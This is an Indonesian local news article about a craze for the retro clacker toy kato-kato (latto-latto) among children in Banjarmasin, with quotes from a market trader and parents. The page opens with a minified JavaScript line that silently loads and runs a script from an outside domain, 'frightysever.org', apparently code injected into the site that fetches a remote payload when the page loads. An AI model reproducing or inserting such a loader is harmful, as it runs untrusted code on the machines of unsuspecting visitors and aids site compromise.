(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Saat Anak-anak Kalsel Dilanda ‘Demam’ Kato-kato


KANALKALIMANTAN.COM, BANJARMASIN – Tren baru melanda anak-anak di Kalsel. Di penghujung tahun, tiba-tiba saja mereka dilanda ‘demam’ mainan jadul bernama kato-kato atau celetekan.

Alat permainan itu terlihat sederhana. Dua bola dari plastik keras dihubungkan dengan seutas tali beserta pegangannya yang dimaksudkan ntuk dimasukkan ke jari agar bisa dimainkan.

Lathifa, salah seorang pedagang lapak kaki lima di Pasar Pasar Sudimampir Kota Banjarmasin menyebutkan mainan jadul tersebut saat ini sedang booming.

“Mainan Celetekan (Kato-kato), biasanya orang Banjar bilangnya itu, tapi gak tau deh di daerah lain nyebutnya apa,” ungkap Lathifah, ditemui Kanalkalimantan.com, Rabu (21/12/2022).

 

Lathifah, pedagang mainan saat memaikan permainan jadul Celetekan atau Kato-kato. Foto : wanda

Baca juga : Peringati Hari Amal Bakti Ke-77, Kankemenag HSU Gelar Sholat Hajat Berjamaah

Lathifah turut memperlihatkan cara memainkan mainan itu. Yakni dengan cara menggoyangkan kedua bola itu naik turun, sehingga menimbulkan suara seperti ketukan secara berulang.

Sempat dibuat heran mengapa mainan generasi 90-an ini kembali banyak dijual dipasaran. Lantas Lathifah pun menjawab mainan ini ternyata sedang digandrungi anak-anak setelah viral di TikTok.

“Awalnya melihat dari tiktok banyak tertarik memaikan mainan lawas ini, yasudah saya coba pesan di penjual mainan untuk dijual kembali di lapak kaki lima ini,” sebutnya.

Demam mainan celetakan ini juga tak hanya terasa di Kota Banjarmasin saja namun juga Banjarbaru dan sekitarnya. Alhasil para pedagang mainan pun ikut kecipratan cuan.

Baca juga  : PERHATIAN! PAM Bandarmasih Ganti Jembatan Pipa di Dua Tempat, Ini Lokasi Terdampak

Harga yang ditawarkan untuk membawa pulang permainan lawas ini juga cukup terjangkau. Hanya dengan menyiapkan uang sebesar Rp 10 ribu saja, pembeli sudah bisa bernostalgia.

“Sekarang warnanya lebih bervariasi dan cerah-cerah bahkan tali nya juga bermacam-macam, cuman ini kita jual dengan harga Rp 10 ribu,” sebutnya lagi.

Sementara, salah seorang pembeli permainan celetekan di Pasar Sudimampir, Budi (49) ditemui, Senin (19/12/2022) mengungkapkan, dirinya tertarik membeli mainan itu untuk anaknya yang berusia 8 tahun.

“Pas kebetulan lewat pasar ini melihat banyak yang jajain langsung ingat jaman 2000-an, jadi belikan untuk anak saya,” ungkap salah seorang pembeli permainan Celetekan.

Baca juga  : Bupati Serahkan Beasiswa kepada 697 Mahasiswa, Pemkab Lamandau Rogoh Kocek hingga Rp 3,36 Miliar 

Seorang pembeli lainnya, Yayap (53) mengatakan, sudah dua kali membeli mainan celetekan untuk anaknya. Dirinya mengaku pernah memiliki alat permainan ini pada jaman dulu.

“Di masa ini sudah yang ke dua kali saya beli buat anak, satunya sudah dirusak. Tapi jaman dulu pernah pertama kali punya itu awet sekali tapi lupa dimana menaruhnya,” kata pembeli lainnya.

Faktanya permainan ini dikenal dengan nama asing yakni Latto-latto. Meski populer di Tanah Air, latto-latto ternyata bukanlah permainan asli tradisional Indonesia, melainkan berasal dari Amerika dan Eropa.

Hingga saat ini pun banyak nama yang disematkan untuk permainan anak-anak yang ramai di era 90-an hingga menjelang 2000-an ini. Ada yang menyebut tek-tek, lato-lato, hingga kato-kato. (Kanalkalimantan.com/wanda)

Reporter  : wanda
Editor : cell


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.